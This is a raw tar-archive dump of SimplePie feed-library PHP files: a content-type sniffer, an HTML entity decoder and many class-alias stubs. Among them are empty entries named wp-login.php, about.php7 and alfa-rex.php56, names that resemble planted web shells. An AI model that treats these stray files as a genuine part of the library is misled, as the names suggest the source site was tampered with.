&& ($content_type === 'text/plain'
|| $content_type === 'text/plain; charset=ISO-8859-1'
|| $content_type === 'text/plain; charset=iso-8859-1'
|| $content_type === 'text/plain; charset=UTF-8')) {
return $this->text_or_binary();
}
if (($pos = strpos($content_type, ';')) !== false) {
$official = substr($content_type, 0, $pos);
} else {
$official = $content_type;
}
$official = trim(strtolower($official));
if ($official === 'unknown/unknown'
|| $official === 'application/unknown') {
return $this->unknown();
} elseif (substr($official, -4) === '+xml'
|| $official === 'text/xml'
|| $official === 'application/xml') {
return $official;
} elseif (substr($official, 0, 6) === 'image/') {
if ($return = $this->image()) {
return $return;
}
return $official;
} elseif ($official === 'text/html') {
return $this->feed_or_html();
}
return $official;
}
return $this->unknown();
}
/**
* Sniff text or binary
*
* @return string Actual Content-Type
*/
public function text_or_binary()
{
$body = $this->file->get_body_content();
if (substr($body, 0, 2) === "\xFE\xFF"
|| substr($body, 0, 2) === "\xFF\xFE"
|| substr($body, 0, 4) === "\x00\x00\xFE\xFF"
|| substr($body, 0, 3) === "\xEF\xBB\xBF") {
return 'text/plain';
} elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $body)) {
return 'application/octet-stream';
}
return 'text/plain';
}
/**
* Sniff unknown
*
* @return string Actual Content-Type
*/
public function unknown()
{
$body = $this->file->get_body_content();
$ws = strspn($body, "\x09\x0A\x0B\x0C\x0D\x20");
if (strtolower(substr($body, $ws, 14)) === '<!doctype html'
|| strtolower(substr($body, $ws, 5)) === '<html'
|| strtolower(substr($body, $ws, 7)) === '<script') {
return 'text/html';
} elseif (substr($body, 0, 5) === '%PDF-') {
return 'application/pdf';
} elseif (substr($body, 0, 11) === '%!PS-Adobe-') {
return 'application/postscript';
} elseif (substr($body, 0, 6) === 'GIF87a'
|| substr($body, 0, 6) === 'GIF89a') {
return 'image/gif';
} elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
return 'image/png';
} elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
return 'image/jpeg';
} elseif (substr($body, 0, 2) === "\x42\x4D") {
return 'image/bmp';
} elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
return 'image/vnd.microsoft.icon';
}
return $this->text_or_binary();
}
/**
* Sniff images
*
* @return string|false Actual Content-Type
*/
public function image()
{
$body = $this->file->get_body_content();
if (substr($body, 0, 6) === 'GIF87a'
|| substr($body, 0, 6) === 'GIF89a') {
return 'image/gif';
} elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
return 'image/png';
} elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
return 'image/jpeg';
} elseif (substr($body, 0, 2) === "\x42\x4D") {
return 'image/bmp';
} elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
return 'image/vnd.microsoft.icon';
}
return false;
}
/**
* Sniff HTML
*
* @return string Actual Content-Type
*/
public function feed_or_html()
{
$body = $this->file->get_body_content();
$len = strlen($body);
$pos = strspn($body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");
while ($pos < $len) {
switch ($body[$pos]) {
case "\x09":
case "\x0A":
case "\x0D":
case "\x20":
$pos += strspn($body, "\x09\x0A\x0D\x20", $pos);
continue 2;
case '<':
$pos++;
break;
default:
return 'text/html';
}
if (substr($body, $pos, 3) === '!--') {
$pos += 3;
if ($pos < $len && ($pos = strpos($body, '-->', $pos)) !== false) {
$pos += 3;
} else {
return 'text/html';
}
} elseif (substr($body, $pos, 1) === '!') {
if ($pos < $len && ($pos = strpos($body, '>', $pos)) !== false) {
$pos++;
} else {
return 'text/html';
}
} elseif (substr($body, $pos, 1) === '?') {
if ($pos < $len && ($pos = strpos($body, '?>', $pos)) !== false) {
$pos += 2;
} else {
return 'text/html';
}
} elseif (substr($body, $pos, 3) === 'rss'
|| substr($body, $pos, 7) === 'rdf:RDF') {
return 'application/rss+xml';
} elseif (substr($body, $pos, 4) === 'feed') {
return 'application/atom+xml';
} else {
return 'text/html';
}
}
return 'text/html';
}
}
class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer');
library/SimplePie/HTTP/Parser.php 0000644 00000001230 15220516755 0012627 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\HTTP\Parser;
class_exists('SimplePie\HTTP\Parser');
// @trigger_error(sprintf('Using the "SimplePie_HTTP_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/**
* @deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead
* @template Psr7Compatible of bool
* @extends Parser<Psr7Compatible>
*/
class SimplePie_HTTP_Parser extends Parser
{
}
}
library/SimplePie/File.php 0000644 00000001021 15220516755 0011471 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\File;
class_exists('SimplePie\File');
// @trigger_error(sprintf('Using the "SimplePie_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\File" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\File" instead */
class SimplePie_File extends File
{
}
}
library/SimplePie/Net/IPv6.php 0000644 00000001051 15220516755 0012127 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Net\IPv6;
class_exists('SimplePie\Net\IPv6');
// @trigger_error(sprintf('Using the "SimplePie_Net_IPv6" class is deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead */
class SimplePie_Net_IPv6 extends IPv6
{
}
}
library/SimplePie/wp-login.php 0000644 00000000000 15220516755 0012342 0 ustar 00 library/SimplePie/IRI.php 0000644 00000001012 15220516755 0011235 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\IRI;
class_exists('SimplePie\IRI');
// @trigger_error(sprintf('Using the "SimplePie_IRI" class is deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead */
class SimplePie_IRI extends IRI
{
}
}
library/SimplePie/Cache.php 0000644 00000001030 15220516755 0011615 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache;
class_exists('SimplePie\Cache');
// @trigger_error(sprintf('Using the "SimplePie_Cache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead */
class SimplePie_Cache extends Cache
{
}
}
library/SimplePie/index.php 0000644 00000000000 15220516755 0011715 0 ustar 00 library/SimplePie/Caption.php 0000644 00000001046 15220516755 0012216 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Caption;
class_exists('SimplePie\Caption');
// @trigger_error(sprintf('Using the "SimplePie_Caption" class is deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead */
class SimplePie_Caption extends Caption
{
}
}
library/SimplePie/XML/Declaration/Parser.php 0000644 00000001177 15220516755 0014747 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\XML\Declaration\Parser;
class_exists('SimplePie\XML\Declaration\Parser');
// @trigger_error(sprintf('Using the "SimplePie_XML_Declaration_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead */
class SimplePie_XML_Declaration_Parser extends Parser
{
}
}
library/SimplePie/Author.php 0000644 00000001037 15220516755 0012063 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Author;
class_exists('SimplePie\Author');
// @trigger_error(sprintf('Using the "SimplePie_Author" class is deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead */
class SimplePie_Author extends Author
{
}
}
library/SimplePie/Locator.php 0000644 00000001046 15220516755 0012224 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Locator;
class_exists('SimplePie\Locator');
// @trigger_error(sprintf('Using the "SimplePie_Locator" class is deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead */
class SimplePie_Locator extends Locator
{
}
}
library/SimplePie/Decode/HTML/Entities.php 0000644 00000054205 15220516755 0014341 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
/**
* Decode HTML Entities
*
* This implements HTML5 as of revision 967 (2007-06-28)
*
* @deprecated Use DOMDocument instead!
*/
class SimplePie_Decode_HTML_Entities
{
/**
* Data to be parsed
*
* @access private
* @var string
*/
public $data = '';
/**
* Currently consumed bytes
*
* @access private
* @var string
*/
public $consumed = '';
/**
* Position of the current byte being parsed
*
* @access private
* @var int
*/
public $position = 0;
/**
* Create an instance of the class with the input data
*
* @access public
* @param string $data Input data
*/
public function __construct(string $data)
{
$this->data = $data;
}
/**
* Parse the input data
*
* @access public
* @return string Output data
*/
public function parse()
{
while (($position = strpos($this->data, '&', $this->position)) !== false) {
$this->position = $position;
$this->consume();
$this->entity();
$this->consumed = '';
}
return $this->data;
}
/**
* Consume the next byte
*
* @access private
* @return string|false The next byte, or false, if there is no more data
*/
public function consume()
{
if (isset($this->data[$this->position])) {
$this->consumed .= $this->data[$this->position];
return $this->data[$this->position++];
}
return false;
}
/**
* Consume a range of characters
*
* @access private
* @param string $chars Characters to consume
* @return string|false A series of characters that match the range, or false
*/
public function consume_range(string $chars)
{
if ($len = strspn($this->data, $chars, $this->position)) {
$data = substr($this->data, $this->position, $len);
$this->consumed .= $data;
$this->position += $len;
return $data;
}
return false;
}
/**
* Unconsume one byte
*
* @access private
* @return void
*/
public function unconsume()
{
$this->consumed = substr($this->consumed, 0, -1);
$this->position--;
}
/**
* Decode an entity
*
* @access private
* @return void
*/
public function entity()
{
switch ($this->consume()) {
case "\x09":
case "\x0A":
case "\x0B":
case "\x0C":
case "\x20":
case "\x3C":
case "\x26":
case false:
break;
case "\x23":
switch ($this->consume()) {
case "\x78":
case "\x58":
$range = '0123456789ABCDEFabcdef';
$hex = true;
break;
default:
$range = '0123456789';
$hex = false;
$this->unconsume();
break;
}
if ($codepoint = $this->consume_range($range)) {
static $windows_1252_specials = [0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"];
if ($hex) {
// Cap to PHP_INT_MAX to ensure consistent behaviour if $codepoint is so large
// it cannot fit into int – just casting float to int might return junk (e.g. a negative number).
// If it is so large, `Misc::codepoint_to_utf8` will just return a replacement character.
$codepoint = (int) min(hexdec($codepoint), \PHP_INT_MAX);
} else {
// Casting string to int caps at PHP_INT_MAX automatically.
$codepoint = (int) $codepoint;
}
if (isset($windows_1252_specials[$codepoint])) {
$replacement = $windows_1252_specials[$codepoint];
} else {
$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
}
if (!in_array($this->consume(), [';', false], true)) {
$this->unconsume();
}
$consumed_length = strlen($this->consumed);
$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
$this->position += strlen($replacement) - $consumed_length;
}
break;
default:
static $entities = [
'Aacute' => "\xC3\x81",
'aacute' => "\xC3\xA1",
'Aacute;' => "\xC3\x81",
'aacute;' => "\xC3\xA1",
'Acirc' => "\xC3\x82",
'acirc' => "\xC3\xA2",
'Acirc;' => "\xC3\x82",
'acirc;' => "\xC3\xA2",
'acute' => "\xC2\xB4",
'acute;' => "\xC2\xB4",
'AElig' => "\xC3\x86",
'aelig' => "\xC3\xA6",
'AElig;' => "\xC3\x86",
'aelig;' => "\xC3\xA6",
'Agrave' => "\xC3\x80",
'agrave' => "\xC3\xA0",
'Agrave;' => "\xC3\x80",
'agrave;' => "\xC3\xA0",
'alefsym;' => "\xE2\x84\xB5",
'Alpha;' => "\xCE\x91",
'alpha;' => "\xCE\xB1",
'AMP' => "\x26",
'amp' => "\x26",
'AMP;' => "\x26",
'amp;' => "\x26",
'and;' => "\xE2\x88\xA7",
'ang;' => "\xE2\x88\xA0",
'apos;' => "\x27",
'Aring' => "\xC3\x85",
'aring' => "\xC3\xA5",
'Aring;' => "\xC3\x85",
'aring;' => "\xC3\xA5",
'asymp;' => "\xE2\x89\x88",
'Atilde' => "\xC3\x83",
'atilde' => "\xC3\xA3",
'Atilde;' => "\xC3\x83",
'atilde;' => "\xC3\xA3",
'Auml' => "\xC3\x84",
'auml' => "\xC3\xA4",
'Auml;' => "\xC3\x84",
'auml;' => "\xC3\xA4",
'bdquo;' => "\xE2\x80\x9E",
'Beta;' => "\xCE\x92",
'beta;' => "\xCE\xB2",
'brvbar' => "\xC2\xA6",
'brvbar;' => "\xC2\xA6",
'bull;' => "\xE2\x80\xA2",
'cap;' => "\xE2\x88\xA9",
'Ccedil' => "\xC3\x87",
'ccedil' => "\xC3\xA7",
'Ccedil;' => "\xC3\x87",
'ccedil;' => "\xC3\xA7",
'cedil' => "\xC2\xB8",
'cedil;' => "\xC2\xB8",
'cent' => "\xC2\xA2",
'cent;' => "\xC2\xA2",
'Chi;' => "\xCE\xA7",
'chi;' => "\xCF\x87",
'circ;' => "\xCB\x86",
'clubs;' => "\xE2\x99\xA3",
'cong;' => "\xE2\x89\x85",
'COPY' => "\xC2\xA9",
'copy' => "\xC2\xA9",
'COPY;' => "\xC2\xA9",
'copy;' => "\xC2\xA9",
'crarr;' => "\xE2\x86\xB5",
'cup;' => "\xE2\x88\xAA",
'curren' => "\xC2\xA4",
'curren;' => "\xC2\xA4",
'Dagger;' => "\xE2\x80\xA1",
'dagger;' => "\xE2\x80\xA0",
'dArr;' => "\xE2\x87\x93",
'darr;' => "\xE2\x86\x93",
'deg' => "\xC2\xB0",
'deg;' => "\xC2\xB0",
'Delta;' => "\xCE\x94",
'delta;' => "\xCE\xB4",
'diams;' => "\xE2\x99\xA6",
'divide' => "\xC3\xB7",
'divide;' => "\xC3\xB7",
'Eacute' => "\xC3\x89",
'eacute' => "\xC3\xA9",
'Eacute;' => "\xC3\x89",
'eacute;' => "\xC3\xA9",
'Ecirc' => "\xC3\x8A",
'ecirc' => "\xC3\xAA",
'Ecirc;' => "\xC3\x8A",
'ecirc;' => "\xC3\xAA",
'Egrave' => "\xC3\x88",
'egrave' => "\xC3\xA8",
'Egrave;' => "\xC3\x88",
'egrave;' => "\xC3\xA8",
'empty;' => "\xE2\x88\x85",
'emsp;' => "\xE2\x80\x83",
'ensp;' => "\xE2\x80\x82",
'Epsilon;' => "\xCE\x95",
'epsilon;' => "\xCE\xB5",
'equiv;' => "\xE2\x89\xA1",
'Eta;' => "\xCE\x97",
'eta;' => "\xCE\xB7",
'ETH' => "\xC3\x90",
'eth' => "\xC3\xB0",
'ETH;' => "\xC3\x90",
'eth;' => "\xC3\xB0",
'Euml' => "\xC3\x8B",
'euml' => "\xC3\xAB",
'Euml;' => "\xC3\x8B",
'euml;' => "\xC3\xAB",
'euro;' => "\xE2\x82\xAC",
'exist;' => "\xE2\x88\x83",
'fnof;' => "\xC6\x92",
'forall;' => "\xE2\x88\x80",
'frac12' => "\xC2\xBD",
'frac12;' => "\xC2\xBD",
'frac14' => "\xC2\xBC",
'frac14;' => "\xC2\xBC",
'frac34' => "\xC2\xBE",
'frac34;' => "\xC2\xBE",
'frasl;' => "\xE2\x81\x84",
'Gamma;' => "\xCE\x93",
'gamma;' => "\xCE\xB3",
'ge;' => "\xE2\x89\xA5",
'GT' => "\x3E",
'gt' => "\x3E",
'GT;' => "\x3E",
'gt;' => "\x3E",
'hArr;' => "\xE2\x87\x94",
'harr;' => "\xE2\x86\x94",
'hearts;' => "\xE2\x99\xA5",
'hellip;' => "\xE2\x80\xA6",
'Iacute' => "\xC3\x8D",
'iacute' => "\xC3\xAD",
'Iacute;' => "\xC3\x8D",
'iacute;' => "\xC3\xAD",
'Icirc' => "\xC3\x8E",
'icirc' => "\xC3\xAE",
'Icirc;' => "\xC3\x8E",
'icirc;' => "\xC3\xAE",
'iexcl' => "\xC2\xA1",
'iexcl;' => "\xC2\xA1",
'Igrave' => "\xC3\x8C",
'igrave' => "\xC3\xAC",
'Igrave;' => "\xC3\x8C",
'igrave;' => "\xC3\xAC",
'image;' => "\xE2\x84\x91",
'infin;' => "\xE2\x88\x9E",
'int;' => "\xE2\x88\xAB",
'Iota;' => "\xCE\x99",
'iota;' => "\xCE\xB9",
'iquest' => "\xC2\xBF",
'iquest;' => "\xC2\xBF",
'isin;' => "\xE2\x88\x88",
'Iuml' => "\xC3\x8F",
'iuml' => "\xC3\xAF",
'Iuml;' => "\xC3\x8F",
'iuml;' => "\xC3\xAF",
'Kappa;' => "\xCE\x9A",
'kappa;' => "\xCE\xBA",
'Lambda;' => "\xCE\x9B",
'lambda;' => "\xCE\xBB",
'lang;' => "\xE3\x80\x88",
'laquo' => "\xC2\xAB",
'laquo;' => "\xC2\xAB",
'lArr;' => "\xE2\x87\x90",
'larr;' => "\xE2\x86\x90",
'lceil;' => "\xE2\x8C\x88",
'ldquo;' => "\xE2\x80\x9C",
'le;' => "\xE2\x89\xA4",
'lfloor;' => "\xE2\x8C\x8A",
'lowast;' => "\xE2\x88\x97",
'loz;' => "\xE2\x97\x8A",
'lrm;' => "\xE2\x80\x8E",
'lsaquo;' => "\xE2\x80\xB9",
'lsquo;' => "\xE2\x80\x98",
'LT' => "\x3C",
'lt' => "\x3C",
'LT;' => "\x3C",
'lt;' => "\x3C",
'macr' => "\xC2\xAF",
'macr;' => "\xC2\xAF",
'mdash;' => "\xE2\x80\x94",
'micro' => "\xC2\xB5",
'micro;' => "\xC2\xB5",
'middot' => "\xC2\xB7",
'middot;' => "\xC2\xB7",
'minus;' => "\xE2\x88\x92",
'Mu;' => "\xCE\x9C",
'mu;' => "\xCE\xBC",
'nabla;' => "\xE2\x88\x87",
'nbsp' => "\xC2\xA0",
'nbsp;' => "\xC2\xA0",
'ndash;' => "\xE2\x80\x93",
'ne;' => "\xE2\x89\xA0",
'ni;' => "\xE2\x88\x8B",
'not' => "\xC2\xAC",
'not;' => "\xC2\xAC",
'notin;' => "\xE2\x88\x89",
'nsub;' => "\xE2\x8A\x84",
'Ntilde' => "\xC3\x91",
'ntilde' => "\xC3\xB1",
'Ntilde;' => "\xC3\x91",
'ntilde;' => "\xC3\xB1",
'Nu;' => "\xCE\x9D",
'nu;' => "\xCE\xBD",
'Oacute' => "\xC3\x93",
'oacute' => "\xC3\xB3",
'Oacute;' => "\xC3\x93",
'oacute;' => "\xC3\xB3",
'Ocirc' => "\xC3\x94",
'ocirc' => "\xC3\xB4",
'Ocirc;' => "\xC3\x94",
'ocirc;' => "\xC3\xB4",
'OElig;' => "\xC5\x92",
'oelig;' => "\xC5\x93",
'Ograve' => "\xC3\x92",
'ograve' => "\xC3\xB2",
'Ograve;' => "\xC3\x92",
'ograve;' => "\xC3\xB2",
'oline;' => "\xE2\x80\xBE",
'Omega;' => "\xCE\xA9",
'omega;' => "\xCF\x89",
'Omicron;' => "\xCE\x9F",
'omicron;' => "\xCE\xBF",
'oplus;' => "\xE2\x8A\x95",
'or;' => "\xE2\x88\xA8",
'ordf' => "\xC2\xAA",
'ordf;' => "\xC2\xAA",
'ordm' => "\xC2\xBA",
'ordm;' => "\xC2\xBA",
'Oslash' => "\xC3\x98",
'oslash' => "\xC3\xB8",
'Oslash;' => "\xC3\x98",
'oslash;' => "\xC3\xB8",
'Otilde' => "\xC3\x95",
'otilde' => "\xC3\xB5",
'Otilde;' => "\xC3\x95",
'otilde;' => "\xC3\xB5",
'otimes;' => "\xE2\x8A\x97",
'Ouml' => "\xC3\x96",
'ouml' => "\xC3\xB6",
'Ouml;' => "\xC3\x96",
'ouml;' => "\xC3\xB6",
'para' => "\xC2\xB6",
'para;' => "\xC2\xB6",
'part;' => "\xE2\x88\x82",
'permil;' => "\xE2\x80\xB0",
'perp;' => "\xE2\x8A\xA5",
'Phi;' => "\xCE\xA6",
'phi;' => "\xCF\x86",
'Pi;' => "\xCE\xA0",
'pi;' => "\xCF\x80",
'piv;' => "\xCF\x96",
'plusmn' => "\xC2\xB1",
'plusmn;' => "\xC2\xB1",
'pound' => "\xC2\xA3",
'pound;' => "\xC2\xA3",
'Prime;' => "\xE2\x80\xB3",
'prime;' => "\xE2\x80\xB2",
'prod;' => "\xE2\x88\x8F",
'prop;' => "\xE2\x88\x9D",
'Psi;' => "\xCE\xA8",
'psi;' => "\xCF\x88",
'QUOT' => "\x22",
'quot' => "\x22",
'QUOT;' => "\x22",
'quot;' => "\x22",
'radic;' => "\xE2\x88\x9A",
'rang;' => "\xE3\x80\x89",
'raquo' => "\xC2\xBB",
'raquo;' => "\xC2\xBB",
'rArr;' => "\xE2\x87\x92",
'rarr;' => "\xE2\x86\x92",
'rceil;' => "\xE2\x8C\x89",
'rdquo;' => "\xE2\x80\x9D",
'real;' => "\xE2\x84\x9C",
'REG' => "\xC2\xAE",
'reg' => "\xC2\xAE",
'REG;' => "\xC2\xAE",
'reg;' => "\xC2\xAE",
'rfloor;' => "\xE2\x8C\x8B",
'Rho;' => "\xCE\xA1",
'rho;' => "\xCF\x81",
'rlm;' => "\xE2\x80\x8F",
'rsaquo;' => "\xE2\x80\xBA",
'rsquo;' => "\xE2\x80\x99",
'sbquo;' => "\xE2\x80\x9A",
'Scaron;' => "\xC5\xA0",
'scaron;' => "\xC5\xA1",
'sdot;' => "\xE2\x8B\x85",
'sect' => "\xC2\xA7",
'sect;' => "\xC2\xA7",
'shy' => "\xC2\xAD",
'shy;' => "\xC2\xAD",
'Sigma;' => "\xCE\xA3",
'sigma;' => "\xCF\x83",
'sigmaf;' => "\xCF\x82",
'sim;' => "\xE2\x88\xBC",
'spades;' => "\xE2\x99\xA0",
'sub;' => "\xE2\x8A\x82",
'sube;' => "\xE2\x8A\x86",
'sum;' => "\xE2\x88\x91",
'sup;' => "\xE2\x8A\x83",
'sup1' => "\xC2\xB9",
'sup1;' => "\xC2\xB9",
'sup2' => "\xC2\xB2",
'sup2;' => "\xC2\xB2",
'sup3' => "\xC2\xB3",
'sup3;' => "\xC2\xB3",
'supe;' => "\xE2\x8A\x87",
'szlig' => "\xC3\x9F",
'szlig;' => "\xC3\x9F",
'Tau;' => "\xCE\xA4",
'tau;' => "\xCF\x84",
'there4;' => "\xE2\x88\xB4",
'Theta;' => "\xCE\x98",
'theta;' => "\xCE\xB8",
'thetasym;' => "\xCF\x91",
'thinsp;' => "\xE2\x80\x89",
'THORN' => "\xC3\x9E",
'thorn' => "\xC3\xBE",
'THORN;' => "\xC3\x9E",
'thorn;' => "\xC3\xBE",
'tilde;' => "\xCB\x9C",
'times' => "\xC3\x97",
'times;' => "\xC3\x97",
'TRADE;' => "\xE2\x84\xA2",
'trade;' => "\xE2\x84\xA2",
'Uacute' => "\xC3\x9A",
'uacute' => "\xC3\xBA",
'Uacute;' => "\xC3\x9A",
'uacute;' => "\xC3\xBA",
'uArr;' => "\xE2\x87\x91",
'uarr;' => "\xE2\x86\x91",
'Ucirc' => "\xC3\x9B",
'ucirc' => "\xC3\xBB",
'Ucirc;' => "\xC3\x9B",
'ucirc;' => "\xC3\xBB",
'Ugrave' => "\xC3\x99",
'ugrave' => "\xC3\xB9",
'Ugrave;' => "\xC3\x99",
'ugrave;' => "\xC3\xB9",
'uml' => "\xC2\xA8",
'uml;' => "\xC2\xA8",
'upsih;' => "\xCF\x92",
'Upsilon;' => "\xCE\xA5",
'upsilon;' => "\xCF\x85",
'Uuml' => "\xC3\x9C",
'uuml' => "\xC3\xBC",
'Uuml;' => "\xC3\x9C",
'uuml;' => "\xC3\xBC",
'weierp;' => "\xE2\x84\x98",
'Xi;' => "\xCE\x9E",
'xi;' => "\xCE\xBE",
'Yacute' => "\xC3\x9D",
'yacute' => "\xC3\xBD",
'Yacute;' => "\xC3\x9D",
'yacute;' => "\xC3\xBD",
'yen' => "\xC2\xA5",
'yen;' => "\xC2\xA5",
'yuml' => "\xC3\xBF",
'Yuml;' => "\xC5\xB8",
'yuml;' => "\xC3\xBF",
'Zeta;' => "\xCE\x96",
'zeta;' => "\xCE\xB6",
'zwj;' => "\xE2\x80\x8D",
'zwnj;' => "\xE2\x80\x8C"
];
for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) {
// Cast for PHPStan on PHP < 8.0: We consumed as per the loop condition,
// so `$this->consumed` is non-empty and the substr offset is valid.
$consumed = (string) substr($this->consumed, 1);
if (isset($entities[$consumed])) {
$match = $consumed;
}
}
if ($match !== null) {
$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
}
break;
}
}
}
library/SimplePie/Category.php 0000644 00000001055 15220516755 0012376 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Category;
class_exists('SimplePie\Category');
// @trigger_error(sprintf('Using the "SimplePie_Category" class is deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead */
class SimplePie_Category extends Category
{
}
}
library/SimplePie/about.php7 0000644 00000000000 15220516755 0012007 0 ustar 00 library/SimplePie/Restriction.php 0000644 00000001102 15220516755 0013117 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Restriction;
class_exists('SimplePie\Restriction');
// @trigger_error(sprintf('Using the "SimplePie_Restriction" class is deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead */
class SimplePie_Restriction extends Restriction
{
}
}
library/SimplePie/alfa-rex.php56 0000644 00000000000 15220516755 0012460 0 ustar 00 library/SimplePie/Source.php 0000644 00000001037 15220516755 0012061 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Source;
class_exists('SimplePie\Source');
// @trigger_error(sprintf('Using the "SimplePie_Source" class is deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead */
class SimplePie_Source extends Source
{
}
}
